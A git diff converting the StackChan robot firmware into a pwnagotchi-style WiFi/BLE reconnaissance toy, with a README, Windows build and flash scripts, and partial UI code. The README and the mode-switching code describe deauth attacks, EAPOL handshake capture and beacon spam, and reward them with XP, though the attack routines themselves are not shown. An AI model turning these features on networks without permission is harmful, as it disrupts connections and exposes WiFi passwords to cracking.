diff --git a/.gitignore b/.gitignore index 00741cb..e8aa474 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,29 @@ .DS_Store -.idea/ \ No newline at end of file +.idea/ +.vscode/ + +# Build outputs +*.log +build_output.txt + +# OS files +Thumbs.db +*.swp +*~ + +# Firmware build +firmware/build/ +firmware/cmake-build-*/ +firmware/managed_components/ +firmware/sdkconfig +firmware/sdkconfig.old + +# Go build +server/*.exe +server/stackchan-server +server/tmp/ + +# Node/Flutter (if applicable) +node_modules/ +.pubspec.lock +.dart_tool/ \ No newline at end of file diff --git a/README.md b/README.md index 9cf3f7f..64248e3 100644 --- a/README.md +++ b/README.md @@ -1,32 +1,152 @@ -# StackChan Open-Source +# StackChan-Gotchi - +

+ +

-Here are StackChan related open-source resources, including source code of the StackChan firmware, remote controller firmware, mobile app (iOS and Android), and server. +A **pwnagotchi-style WiFi/BLE reconnaissance companion** for M5Stack CoreS3 robot (StackChan). Combines Tamagotchi-like gamification with network scanning, uniquely leveraging StackChan's robot capabilities—expressive face, head movement, and neon lights. -Update of this repo could be a little late than the released firmware and mobile app. +--- ----- +## Overview - +**Goal**: Create an engaging WiFi/BLE reconnaissance tool that leverages StackChan's robot capabilities to make network security research more interactive and fun. -**StackChan is a super kawaii AI desktop robot co-created by M5Stack and the user community.** It uses the M5Stack **flagship IoT development kit [CoreS3](https://docs.m5stack.com/en/core/CoreS3)** as its main controller, powered by an ESP32-S3 SoC featuring a 240 MHz dual-core processor, with 16MB Flash and 8MB PSRAM onboard, and supporting Wi-Fi and BLE. The main unit also integrates a 2.0-inch capacitive touch display with a high-strength glass cover, a 0.3 MP camera, a proximity & ambient light sensor, a 9-axis IMU (accelerometer + gyroscope + magnetometer), a microSD card slot, a 1W speaker, dual microphones, and power/reset buttons. +**Hardware**: M5Stack CoreS3 (ESP32-S3, 16MB Flash, 8MB PSRAM) + GPS Unit (optional) -The **robot body**, connected to the main unit, includes a USB-C interface for power and data, a 550 mAh battery, two feedback servos (360-degree continuous rotation on the horizontal axis and 90-degree movement on the vertical axis), two rows totaling 12 RGB LEDs, infrared transmitter and receiver, a three-zone touch panel, and a full-featured NFC module. +**Inspiration**: +- [pwnagotchi] (https://github.com/evilsocket/pwnagotchi) - the original security "gotchi" for rPi +- [M5PORKCHOP](https://github.com/0ct0sec/M5PORKCHOP) - Gamification, XP system, multiple modes, personality +- [M5Gotchi](https://github.com/Devsur11/M5Gotchi) - Pwnagotchi UI, auto mode, web interface -The **factory firmware** is feature-rich, including an AI Agent, lively and expressive animations, ESP-NOW wireless remote control, and online app downloads. It can connect to a mobile app for video viewing, remote avatar control, and more, and also supports online updates (OTA). The product also supports programming via Arduino, UiFlow2, and other methods, and can connect to various expansion units in the M5Stack ecosystem, making it easy to implement a wide range of custom functions. +--- -> ⚠️ Do not forcibly rotate any movable parts connected to the motors by hand when you are unsure whether the motors are powered and under control, as this may cause hardware damage. +## Features -- Purchase link: [M5Stack Official Store](https://shop.m5stack.com/products/stackchan-kawaii-co-created-open-source-ai-desktop-robot) | [淘宝 Taobao](https://item.taobao.com/item.htm?id=1042238294510) +### Network Scanning +- WiFi beacon frame capture (promiscuous mode) +- Channel hopping (1-13, prioritizes 1/6/11) +- EAPOL handshake capture +- BLE device scanning via NimBLE -- Product document page: [English](https://docs.m5stack.com/en/StackChan) | [日本語](https://docs.m5stack.com/ja/StackChan) | [中文](https://docs.m5stack.com/zh_CN/StackChan) +### Gamification System +- XP earned from: networks discovered (+1), handshakes captured (+25), channels visited (+5), BLE devices (+2), uptime (+1/min) +- **42 levels** with robot-themed titles: + - Levels 1-8: Unit → Omega + - Levels 9-16: Observer, Probe, Analyst, Decoder, Tracker, Hunter, Crawler, Synth + - Levels 17-24: Cortex, Nexus, Matrix, Quantum, Singularity, Hyperion, Archon, Titan + - Levels 25-32: Prime, Alpha, Omega Prime, Supreme, Transcendent, Paramount, Glorious, Eternal + - Levels 33-39: Legendary, Mythic, Omnipotent, Infinite, Absolute, Ultimate, Paramount + - **Secret levels** exist beyond level 40... +- Prestige system: Reset to level 1, keep prestige count, +10% XP bonus per prestige level +- 37 achievements with XP rewards (hybrid system) +- Daily challenges with streak tracking +- Persistent XP storage via ESP32 NVS -- Board support package: https://github.com/m5stack/StackChan-BSP +### Modes +| Mode | Description | Neon Color | +|------|-------------|------------| +| **IDLE** | Idle mode | Green | +| **SCOUT** | Passive scanning, no transmission | Blue | +| **HUNT** | Active WiFi monitoring, capture handshakes + deauth | Green/Cyan | +| **WARDIVE** | Active wardriving with GPS logging | Orange | +| **SPECTRUM** | Channel analysis | Rainbow | +| **BLE-SCAN** | BLE device scanning | Blue/Purple | +| **ROGUE** | Educational beacon spam on fixed channel 6 (OWN networks only!) | Orange | +| **CONFIG** | Web config portal (AP: StackChan-Config, visit 192.168.4.1) | Purple | +| **STATS** | View achievements, XP, prestige | Purple/White | -Thank you to the contributors of the StackChan community, especially: +### StackChan Integration +- Dynamic avatar emotions per mode +- Head movement speed increases with activity +- Neon light indicators color-coded by mode +- Touch interaction for mode cycling +- **Touch pauses robot motion** - touch screen to pause head movement -| ![](https://m5stack-doc.oss-cn-shenzhen.aliyuncs.com/1205/avatar_stack_chan.jpg) | ![](https://m5stack-doc.oss-cn-shenzhen.aliyuncs.com/1205/avatar_takao.jpg) | -| -------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | -| [@stack_chan](https://x.com/stack_chan) | [@mongonta555](https://x.com/mongonta555) | -| Shinya Ishikawa | Takao Akaki | +### Additional +- GPS support (GPS-BDS Unit on UART2) +- Internal flash storage (~2MB FATFS) +- On-screen stats display + +--- + +## Hardware + +### Requirements +- M5Stack CoreS3 +- (Optional) GPS-BDS Unit v1.1 for wardriving + +### Known Limitations +- SD card unavailable (hardware pin conflict on CoreS3 - LCD and microSD share SPI3 pins) +- Internal flash storage (~2MB FATFS partition) used instead + +--- + +## Build & Flash + +### Quick Start (Windows CMD) +```batch +cd firmware +menu.bat +``` +Then select option 1 for clean build, or 3 to flash. + +### Manual Build +```batch +cd firmware +idf.py build +idf.py -p COM8 flash monitor +``` + +### Available Scripts +| Script | Description | +|--------|-------------| +| `menu.bat` | Interactive build menu (recommended) | +| `clean_build.bat` | Clean + build (removes build folder first) | +| `build.bat` | Quick incremental build | +| `flash.bat` | Flash to device (prompts for COM port) | +| `erase_flash.bat` | Erase NVS or full flash | + +**Note**: Run scripts in CMD (not PowerShell or Git Bash). + +--- + +## Project Structure + +``` +firmware/main/ +├── apps/app_gotchi/ - Main UI and mode handling +├── gotchi/ - Core scanning logic (OOP refactored) +│ ├── gotchi.cpp/h - Core API (335 lines) +│ ├── mode_manager.cpp/h - Mode state machine +│ ├── wifi_scanner.cpp/h - WiFi promiscuous + hopping +│ ├── handshake_parser.cpp/h - EAPOL parsing +│ ├── deauth_manager.cpp/h - Deauth attack logic +│ ├── ble_scanner.cpp/h - BLE GAP scanning +│ ├── network_db.cpp/h - Network/handshake/BLE storage +│ ├── xp_system.cpp/h - XP/level progression +│ ├── achievement_system.cpp/h - Achievements & challenges +│ ├── gps.cpp/h - GPS NMEA parsing +│ ├── rogue_manager.cpp/h - ROGUE mode beacon spam +│ └── web_manager.cpp/h - CONFIG mode HTTP server +└── hal/board/ - StackChan board initialization +``` + +--- + +## Legal Warning + +This tool is for **educational and security research purposes only**. + +- Only test networks you own or have explicit permission to test +- Unauthorized access to computer systems is illegal +- The author takes no responsibility for misuse + +--- + +## References + +- StackChan: https://github.com/M5Stack/M5Stack-StackChan +- M5PORKCHOP: https://github.com/0ct0sec/M5PORKCHOP +- M5Gotchi: https://github.com/Devsur11/M5Gotchi/ +- (THE OG) pwnagotchi: https://github.com/evilsocket/pwnagotchi \ No newline at end of file diff --git a/firmware/.gitignore b/firmware/.gitignore index 5c0083c..6a8b73e 100644 --- a/firmware/.gitignore +++ b/firmware/.gitignore @@ -65,3 +65,6 @@ sdkconfig sdkconfig.old xiaozhi-esp32/ + +# Build output logs +build_output.txt diff --git a/firmware/build.bat b/firmware/build.bat new file mode 100644 index 0000000..8a06904 --- /dev/null +++ b/firmware/build.bat @@ -0,0 +1,56 @@ +@echo off +REM Build script for StackChan firmware +REM Run this in CMD (not PowerShell or Git Bash) + +setlocal EnableDelayedExpansion + +REM Get script directory +set "SCRIPT_DIR=%~dp0" +set "PROJECT_DIR=%SCRIPT_DIR%" + +REM Find ESP-IDF - check IDF_PATH env var first, then common locations +set "ESP_IDF_PATH=" +if defined IDF_PATH ( + set "ESP_IDF_PATH=%IDF_PATH%" +) else ( + REM Check common installation paths + if exist "C:\esp\esp-idf" set "ESP_IDF_PATH=C:\esp\esp-idf" + if exist "D:\esp\esp-idf" set "ESP_IDF_PATH=D:\esp\esp-idf" + if exist "C:\Users\%USERNAME%\esp\esp-idf" set "ESP_IDF_PATH=C:\Users\%USERNAME%\esp\esp-idf" + if exist "C:\Espressif\frameworks\esp-idf" set "ESP_IDF_PATH=C:\Espressif\frameworks\esp-idf" +) + +if not defined ESP_IDF_PATH ( + echo ERROR: ESP-IDF not found! + echo Please set IDF_PATH environment variable or install ESP-IDF. + echo. + echo Common installation paths: + echo C:\esp\esp-idf + echo D:\esp\esp-idf + echo C:\Espressif\frameworks\esp-idf + echo. + pause + exit /b 1 +) + +echo ======================================== +echo Building StackChan firmware... +echo ESP-IDF: %ESP_IDF_PATH% +echo Project: %PROJECT_DIR% +echo ======================================== +echo. + +cd /d "%ESP_IDF_PATH%" +call export.bat + +cd /d "%PROJECT_DIR%" + +echo. +echo Starting build... +echo. + +idf.py build + +echo. +echo Build complete! +pause \ No newline at end of file diff --git a/firmware/clean_build.bat b/firmware/clean_build.bat new file mode 100644 index 0000000..d599b42 --- /dev/null +++ b/firmware/clean_build.bat @@ -0,0 +1,67 @@ +@echo off +REM Clean and build script for StackChan firmware +REM Run this in CMD (not PowerShell or Git Bash) + +setlocal EnableDelayedExpansion + +REM Get script directory +set "SCRIPT_DIR=%~dp0" +set "PROJECT_DIR=%SCRIPT_DIR%" + +REM Find ESP-IDF - check IDF_PATH env var first, then common locations +set "ESP_IDF_PATH=" +if defined IDF_PATH ( + set "ESP_IDF_PATH=%IDF_PATH%" +) else ( + REM Check common installation paths + if exist "C:\esp\esp-idf" set "ESP_IDF_PATH=C:\esp\esp-idf" + if exist "D:\esp\esp-idf" set "ESP_IDF_PATH=D:\esp\esp-idf" + if exist "C:\Users\%USERNAME%\esp\esp-idf" set "ESP_IDF_PATH=C:\Users\%USERNAME%\esp\esp-idf" + if exist "C:\Espressif\frameworks\esp-idf" set "ESP_IDF_PATH=C:\Espressif\frameworks\esp-idf" +) + +if not defined ESP_IDF_PATH ( + echo ERROR: ESP-IDF not found! + echo Please set IDF_PATH environment variable or install ESP-IDF. + echo. + echo Common installation paths: + echo C:\esp\esp-idf + echo D:\esp\esp-idf + echo C:\Espressif\frameworks\esp-idf + echo. + pause + exit /b 1 +) + +echo ======================================== +echo Cleaning and Building StackChan firmware +echo ESP-IDF: %ESP_IDF_PATH% +echo Project: %PROJECT_DIR% +echo ======================================== +echo. + +cd /d "%ESP_IDF_PATH%" +call export.bat + +cd /d "%PROJECT_DIR%" + +echo. +echo Cleaning build directory... +echo. + +if exist "build" ( + rmdir /s /q "build" + echo Build directory cleaned. +) else ( + echo No build directory found. +) + +echo. +echo Starting fresh build... +echo. + +idf.py build + +echo. +echo Build complete! +pause \ No newline at end of file diff --git a/firmware/erase_flash.bat b/firmware/erase_flash.bat new file mode 100644 index 0000000..0d05859 --- /dev/null +++ b/firmware/erase_flash.bat @@ -0,0 +1,86 @@ +@echo off +REM StackChan Firmware Flash Erase Script +REM Usage: Run from ESP-IDF environment or adjust paths below + +setlocal EnableDelayedExpansion + +set "SCRIPT_DIR=%~dp0" +set "PROJECT_DIR=%SCRIPT_DIR%" + +echo ======================================== +echo StackChan Firmware Flash Eraser +echo ======================================== +echo. + +echo Looking for available COM ports... +wmic path Win32_SerialPort get DeviceID,Name 2>nul +echo. + +set /p PORT=Enter COM port (e.g., COM3): + +if not defined PORT ( + echo ERROR: No port entered + pause + exit /b 1 +) + +echo. +echo Choose erase option: +echo 1) Erase NVS only (reset stats only) +echo 2) Erase entire flash (full reset) +echo 3) Exit +echo. + +set /p choice=Enter choice (1-3): + +if "%choice%"=="1" goto erase_nvs +if "%choice%"=="2" goto erase_full +if "%choice%"=="3" exit + +echo Invalid choice. +pause +exit /b 1 + +:erase_nvs +echo. +echo Erasing NVS partition (stats only)... +echo This will reset: XP, Level, Networks found +echo. +esptool.py --chip esp32s3 --port %PORT% erase_region 0x9000 0x6000 +if errorlevel 1 ( + echo FAILED! + pause + exit /b 1 +) +echo. +echo SUCCESS! NVS erased. +echo Stats will reset on next boot. +pause +exit /b 0 + +:erase_full +echo. +echo WARNING: This will erase EVERYTHING! +echo - All stats +echo - WiFi configs +echo - BLE pairings +echo. +set /p confirm=Type YES to confirm: +if not "%confirm%"=="YES" ( + echo Cancelled. + pause + exit /b 0 +) +echo. +echo Erasing entire flash... +esptool.py --chip esp32s3 --port %PORT% erase_flash +if errorlevel 1 ( + echo FAILED! + pause + exit /b 1 +) +echo. +echo SUCCESS! Full flash erased. +echo You will need to flash the firmware again. +pause +exit /b 0 \ No newline at end of file diff --git a/firmware/flash.bat b/firmware/flash.bat new file mode 100644 index 0000000..8be8dc1 --- /dev/null +++ b/firmware/flash.bat @@ -0,0 +1,35 @@ +@echo off +setlocal EnableDelayedExpansion + +set "SCRIPT_DIR=%~dp0" +set "PROJECT_DIR=%SCRIPT_DIR%" + +set "ESP_IDF_PATH=" +if defined IDF_PATH ( + set "ESP_IDF_PATH=%IDF_PATH%" +) else ( + if exist "C:\esp\esp-idf" set "ESP_IDF_PATH=C:\esp\esp-idf" + if exist "D:\esp\esp-idf" set "ESP_IDF_PATH=D:\esp\esp-idf" + if exist "C:\Users\%USERNAME%\esp\esp-idf" set "ESP_IDF_PATH=C:\Users\%USERNAME%\esp\esp-idf" + if exist "C:\Espressif\frameworks\esp-idf" set "ESP_IDF_PATH=C:\Espressif\frameworks\esp-idf" +) + +if not defined ESP_IDF_PATH ( + echo ERROR: ESP-IDF not found! Set IDF_PATH or install ESP-IDF. + pause + exit /b 1 +) + +echo Looking for available COM ports... +wmic path Win32_SerialPort get DeviceID,Name 2>nul +echo. + +set /p PORT=Enter COM port (e.g., COM3) or press Enter for default COM8: +if not defined PORT set PORT=COM8 + +cd /d "%ESP_IDF_PATH%" +call export.bat +cd /d "%PROJECT_DIR%" + +idf.py -p %PORT% flash monitor +pause \ No newline at end of file diff --git a/firmware/main/CMakeLists.txt b/firmware/main/CMakeLists.txt index 22cfebb..7884cd9 100644 --- a/firmware/main/CMakeLists.txt +++ b/firmware/main/CMakeLists.txt @@ -14,9 +14,17 @@ file(GLOB_RECURSE STACK_CHAN_SOURCES "stackchan/*.c" "stackchan/*.cc" "stackchan/*.cpp" + "gotchi/*.c" + "gotchi/*.cc" + "gotchi/*.cpp" + "gotchi/mode.cpp" + "gotchi/rogue_manager.cpp" ) set(STACK_CHAN_INCLUDE_DIRS "." + "gotchi" + "${CMAKE_CURRENT_SOURCE_DIR}/gotchi" + "${CMAKE_CURRENT_SOURCE_DIR}/apps/app_gotchi" ) list(APPEND STACK_CHAN_SOURCES main.cpp) @@ -316,6 +324,7 @@ idf_component_register(SRCS ${SOURCES} mooncake mooncake_log smooth_ui_toolkit + esp_http_server ) # Use target_compile_definitions to define BOARD_TYPE, BOARD_NAME diff --git a/firmware/main/apps/app_gotchi/app_gotchi.cpp b/firmware/main/apps/app_gotchi/app_gotchi.cpp new file mode 100644 index 0000000..1c2e717 --- /dev/null +++ b/firmware/main/apps/app_gotchi/app_gotchi.cpp @@ -0,0 +1,1561 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "app_gotchi.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +using namespace mooncake; +using namespace stackchan; + +AppGotchi::AppGotchi() { + setAppInfo().name = "GOTCHI"; + static auto icon = assets::get_image("icon_dance.bin"); + setAppInfo().icon = (void*)&icon; + static uint32_t theme_color = 0x00FF88; + setAppInfo().userData = (void*)&theme_color; +} + +void AppGotchi::onCreate() { + mclog::tagInfo(getAppInfo().name, "on create"); +} + +void AppGotchi::onOpen() { + mclog::tagInfo(getAppInfo().name, "on open"); + + LvglLockGuard lock; + + std::unique_ptr loading_page; + loading_page = std::make_unique(0x00FF88, 0x003320); + loading_page->setMessage("Waking up\nGotchi..."); + + initGotchi(); + + loading_page.reset(); + + auto avatar = std::make_unique(); + avatar->init(lv_screen_active()); + GetStackChan().attachAvatar(std::move(avatar)); + + view::create_home_indicator([&]() { close(); }, 0x00FF88, 0x003320); + view::create_status_bar(0x00FF88, 0x003320); + + _statsLabel = std::make_unique(lv_screen_active()); + _statsLabel->setBgColor(lv_color_hex(0x003320)); + _statsLabel->setRadius(8); + _statsLabel->setTextFont(&lv_font_montserrat_14); + _statsLabel->setTextColor(lv_color_hex(0x00FF88)); + _statsLabel->setTextAlign(LV_TEXT_ALIGN_LEFT); + _statsLabel->setSize(300, 75); // Taller for 3-line display + _statsLabel->align(LV_ALIGN_TOP_LEFT, 5, 10); + _statsLabel->setText("Nets:0 XP:0 Lvl:1 | Scanning..."); + + // Network list display (bottom of screen) + _networkListLabel = std::make_unique(lv_screen_active()); + _networkListLabel->setBgColor(lv_color_hex(0x001a00)); + _networkListLabel->setRadius(6); + _networkListLabel->setTextFont(&lv_font_montserrat_14); + _networkListLabel->setTextColor(lv_color_hex(0x88FF88)); + _networkListLabel->setTextAlign(LV_TEXT_ALIGN_LEFT); + _networkListLabel->setSize(300, 50); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setText("Nearby networks will appear here..."); + + _isRunning = true; + _lastModeChange = GetHAL().millis(); + + // Load config and set default mode + gotchi::GotchiConfig config = gotchi::getConfig(); + gotchi::Mode defaultMode = gotchi::Mode::SCOUT; + + if (strlen(config.defaultMode) > 0) { + if (strcmp(config.defaultMode, "HUNT") == 0) defaultMode = gotchi::Mode::HUNT; + else if (strcmp(config.defaultMode, "SCOUT") == 0) defaultMode = gotchi::Mode::SCOUT; + else if (strcmp(config.defaultMode, "WARDIVE") == 0) defaultMode = gotchi::Mode::WARDIVE; + else if (strcmp(config.defaultMode, "SPECTRUM") == 0) defaultMode = gotchi::Mode::SPECTRUM; + else if (strcmp(config.defaultMode, "BLE_SCAN") == 0) defaultMode = gotchi::Mode::BLE_SCAN; + else if (strcmp(config.defaultMode, "ROGUE") == 0) defaultMode = gotchi::Mode::ROGUE; + else if (strcmp(config.defaultMode, "STATS") == 0) defaultMode = gotchi::Mode::STATS; + else if (strcmp(config.defaultMode, "IDLE") == 0) defaultMode = gotchi::Mode::IDLE; + } + + _currentMode = defaultMode; + gotchi::setMode(defaultMode); + + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("Scanning..."); + GetStackChan().addModifier(std::make_unique(2500, 180, true)); + } + + _headYawOffset = 0; + _headPitchOffset = 0; + _touchTracking = false; + + GetStackChan().leftNeonLight().setColor(0x00, 0xFF, 0x88); + GetStackChan().rightNeonLight().setColor(0x00, 0xFF, 0x88); + + if (GetStackChan().hasMotion()) { + mclog::tagInfo(getAppInfo().name, "Moving head to home position..."); + GetStackChan().motion().goHome(400); + } + + mclog::tagInfo(getAppInfo().name, "Gotchi awake!"); +} + +void AppGotchi::onRunning() { + LvglLockGuard lock; + + updateGotchi(); + handleInput(); + updateAvatar(); + updateHeadAnimation(); + updateNeonLights(); + renderUI(); + + GetStackChan().update(); + + view::update_home_indicator(); + view::update_status_bar(); +} + +void AppGotchi::onClose() { + mclog::tagInfo(getAppInfo().name, "on close"); + + LvglLockGuard lock; + + GetStackChan().resetAvatar(); + + GetStackChan().leftNeonLight().setColor(0, 0, 0); + GetStackChan().rightNeonLight().setColor(0, 0, 0); + + if (GetStackChan().hasMotion()) { + GetStackChan().motion().moveWithSpeed(0, 200, 600); + } + + view::destroy_home_indicator(); + view::destroy_status_bar(); + + gotchi::shutdown(); +} + +void AppGotchi::initGotchi() { + gotchi::init(); + gotchi::initStorage(); + + // Check storage and show warning if not present + if (!gotchi::hasStorage()) { + mclog::tagInfo(getAppInfo().name, "WARNING: No storage - limited functionality!"); + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("No storage!"); + GetStackChan().addModifier(std::make_unique(3500, 180, true)); + } + } +} + +void AppGotchi::updateGotchi() { + if (!_isRunning) return; + + uint32_t now = GetHAL().millis(); + if (now - _lastUpdate < 50) return; + _lastUpdate = now; + + gotchi::update(); +} + +void AppGotchi::handleInput() { + auto touch = GetHAL().lvTouchpad; + if (!touch) return; + + lv_indev_state_t state = lv_indev_get_state(touch); + lv_point_t point; + lv_indev_get_point(touch, &point); + + // Screen dimensions: 320x240 + // Left side (x < 160) = cycle forward + // Right side (x >= 160) = cycle backward + // Long press at top (y < 50) = enter CONFIG mode + + // If in CONFIG mode, any tap exits to SCOUT + if (_currentMode == gotchi::Mode::CONFIG) { + if (state == LV_INDEV_STATE_PRESSED && _pressStartTime == 0) { + _pressStartTime = GetHAL().millis(); + } + if (state == LV_INDEV_STATE_RELEASED && _pressStartTime > 0) { + if (GetHAL().millis() - _pressStartTime < 500) { + // Quick tap exits CONFIG mode + _currentMode = gotchi::Mode::SCOUT; + gotchi::setMode(_currentMode); + _lastModeChange = GetHAL().millis(); + _pressStartTime = 0; + + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("SCOUT"); + } + return; + } + _pressStartTime = 0; + } + return; // Don't process other input in CONFIG mode + } + + if (state == LV_INDEV_STATE_PRESSED) { + if (_pressStartTime == 0) { + // Pause motion when screen is touched + if (GetStackChan().hasMotion()) { + GetStackChan().motion().setTorqueEnabled(false); + } + _pressStartTime = GetHAL().millis(); + _pressX = point.x; + _pressY = point.y; + } + + // Check for long press at top of screen to enter CONFIG mode + if (point.y < 50) { + // Require 1 second hold in top area to enter CONFIG + if (GetHAL().millis() - _pressStartTime > 1000 && + GetHAL().millis() - _lastModeChange > 2000) { + + // Enter CONFIG mode + _currentMode = gotchi::Mode::CONFIG; + gotchi::setMode(_currentMode); + _lastModeChange = GetHAL().millis(); + _pressStartTime = 0; + + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("CONFIG"); + } + } + } + } else { + // Touch released - check if it was a tap + if (_pressStartTime > 0 && GetHAL().millis() - _pressStartTime < 300) { + // Left side tap = cycle forward + if (_pressX < 160) { + if (GetHAL().millis() - _lastModeChange > 500) { + _lastModeChange = GetHAL().millis(); + cycleMode(); + } + } + // Right side tap = cycle backward + else { + if (GetHAL().millis() - _lastModeChange > 500) { + _lastModeChange = GetHAL().millis(); + cycleModeBackward(); + } + } + } + // Resume motion when screen is released + if (GetStackChan().hasMotion()) { + GetStackChan().motion().setTorqueEnabled(true); + } + _pressStartTime = 0; + } +} + +void AppGotchi::cycleMode() { + gotchi::Mode next = gotchi::getModeInfo(_currentMode).nextMode; + + // Skip disabled modes - keep trying until we find an accessible one or wrap completely + int attempts = 0; + while (!gotchi::canAccessMode(next) && attempts < 12) { + next = gotchi::getModeInfo(next).nextMode; + attempts++; + } + + // Fallback to IDLE if somehow all modes are disabled (safety net) + if (!gotchi::canAccessMode(next)) { + next = gotchi::Mode::IDLE; + } + + _currentMode = next; + + gotchi::setMode(_currentMode); + gotchi::onModeEnter(_currentMode); + + const char* modeName = gotchi::getModeName(_currentMode); + bool showedSpecialMessage = false; + + // Show "OK" disclaimer when first entering HUNT mode + if (_currentMode == gotchi::Mode::HUNT && gotchi::shouldShowHuntDisclaimer()) { + gotchi::acknowledgeHuntDisclaimer(); + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("HUNT Mode!\nSends deauth frames.\nOK to proceed?"); + GetStackChan().addModifier(std::make_unique(4500, 180, true)); + } + showedSpecialMessage = true; + } + + // Show educational warning for ROGUE mode (only if not already showing HUNT disclaimer) + if (!showedSpecialMessage && _currentMode == gotchi::Mode::ROGUE) { + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("EDUCATIONAL!\nOwn networks only!"); + GetStackChan().addModifier(std::make_unique(3500, 180, true)); + } + showedSpecialMessage = true; + } + + // Play different tone for each mode (bypasses xiaozhi AudioService to avoid WiFi conflict) + uint16_t tone_freq = gotchi::getModeInfo(_currentMode).toneFreq; + if (tone_freq > 0) { + hal_bridge::app_play_tone(tone_freq, 100); + } + + // Only show mode name if no special message was shown + if (!showedSpecialMessage && GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech(modeName); + GetStackChan().addModifier(std::make_unique(2000, 180, true)); + } +} + +void AppGotchi::cycleModeBackward() { + gotchi::Mode prev = gotchi::getModeInfo(_currentMode).prevMode; + + // Skip disabled modes (same logic as forward cycle) + for (int i = 0; i < 10 && !gotchi::canAccessMode(prev); i++) { + prev = gotchi::getModeInfo(prev).prevMode; + } + _currentMode = prev; + + gotchi::setMode(_currentMode); + gotchi::onModeEnter(_currentMode); + + const char* modeName = gotchi::getModeName(_currentMode); + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech(modeName); + GetStackChan().addModifier(std::make_unique(2000, 180, true)); + } +} + +void AppGotchi::updateAvatar() { + if (!GetStackChan().hasAvatar()) return; + + auto mood = gotchi::getCurrentMood(); + auto& avatar = GetStackChan().avatar(); + + // Mode-specific base emotion with mood override + avatar::Emotion baseEmotion = (avatar::Emotion)gotchi::getModeAvatarEmotion(_currentMode); + + // Mood override + switch (mood) { + case gotchi::Mood::HAPPY: + case gotchi::Mood::EXCITED: + baseEmotion = avatar::Emotion::Happy; + break; + case gotchi::Mood::SAD: + baseEmotion = avatar::Emotion::Sad; + break; + case gotchi::Mood::SLEEPY: + baseEmotion = avatar::Emotion::Sleepy; + break; + case gotchi::Mood::FOCUSED: + baseEmotion = avatar::Emotion::Doubt; + break; + default: + break; + } + + avatar.setEmotion(baseEmotion); +} + +void AppGotchi::updateHeadAnimation() { + if (!GetStackChan().hasMotion()) return; + + uint32_t now = GetHAL().millis(); + auto& motion = GetStackChan().motion(); + + uint32_t interval = gotchi::getModeHeadMoveInterval(_currentMode); + int16_t baseYaw = gotchi::getModeHeadYaw(_currentMode, now, interval); + int16_t basePitch = gotchi::getModeHeadPitch(_currentMode); + + bool targetChanged = false; + + if (now - _lastHeadAnim > interval) { + _lastHeadAnim = now; + targetChanged = true; + + if (_currentMode == gotchi::Mode::IDLE || _currentMode == gotchi::Mode::STATS) { + static bool idleDir = false; + _headYawOffset = idleDir ? 150 : -150; + idleDir = !idleDir; + _headPitchOffset = (now / 4000 % 2) ? 30 : -30; + } else if (_currentMode == gotchi::Mode::HUNT) { + // Reset label to default before applying mode-specific styling + _networkListLabel->setSize(300, 50); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x001a00)); + _networkListLabel->setTextColor(lv_color_hex(0x00FF00)); + + auto networks = gotchi::getNetworks(); + int netCount = networks.size(); + + int yawRange = (netCount >= 10) ? 200 : (netCount >= 5) ? 150 : 100; + _headYawOffset = (int16_t)(sin(now / 500.0) * yawRange); + + if (netCount >= 10) { + _headPitchOffset = (now / 1000 % 3 - 1) * 40; + } else if (netCount >= 5) { + _headPitchOffset = (now / 1500 % 2) * 25 - 25; + } else { + _headPitchOffset = (now / 2000 % 2) * 15 - 15; + } + } else if (_currentMode == gotchi::Mode::SCOUT) { + _headYawOffset = (int16_t)((now / 500 % 4) - 2) * 100; + _headPitchOffset = (int16_t)((now / 800 % 3) - 1) * 30; + } else if (_currentMode == gotchi::Mode::BLE_SCAN) { + auto devices = gotchi::getBLEDevices(); + int devCount = devices.size(); + + int yawRange = (devCount >= 10) ? 180 : (devCount >= 5) ? 150 : 100; + _headYawOffset = (int16_t)(sin(now / 600.0) * yawRange); + _headPitchOffset = (now / 1200 % 2) ? 20 : -20; + } else if (_currentMode == gotchi::Mode::ROGUE) { + // Fast sweeping head during beacon spam + _headYawOffset = (int16_t)((now / 200 % 8) - 4) * 80; + _headPitchOffset = (now / 400 % 2) ? 15 : -15; + } + } + + if (!_touchTracking) { + int16_t targetYaw = baseYaw + _headYawOffset; + int16_t targetPitch = basePitch + _headPitchOffset; + + if (targetChanged || targetYaw != _lastTargetYaw || targetPitch != _lastTargetPitch) { + _lastTargetYaw = targetYaw; + _lastTargetPitch = targetPitch; + + motion.moveWithSpeed(targetYaw, targetPitch, 400); + } + } +} + +void AppGotchi::updateNeonLights() { + auto& leftLight = GetStackChan().leftNeonLight(); + auto& rightLight = GetStackChan().rightNeonLight(); + + uint32_t now = GetHAL().millis(); + auto networks = gotchi::getNetworks(); + int netCount = networks.size(); + + // Flash effect when new network found + if (_neonFlashCount > 0) { + bool flashOn = (now / 100) % 2; + if (flashOn) { + leftLight.setColor(0xFF, 0xFF, 0x00); // Bright yellow flash + rightLight.setColor(0xFF, 0xFF, 0x00); + } else { + leftLight.setColor(0x00, 0xFF, 0x00); // Green + rightLight.setColor(0x00, 0xFF, 0x00); + } + if ((now / 200) % 2 == 0) { + _neonFlashCount--; + } + return; + } + +// Use centralized mode-based neon color system + gotchi::NeonColor nc = gotchi::getNeonColor(_currentMode, netCount, now); + leftLight.setColor(nc.r, nc.g, nc.b); + rightLight.setColor(nc.r, nc.g, nc.b); +} + +static const char* getSignalBars(int rssi) { + if (rssi > -50) return "++++"; + if (rssi > -60) return "+++"; + if (rssi > -70) return "++"; + if (rssi > -80) return "+"; + return "_"; +} + +void AppGotchi::renderUI() { 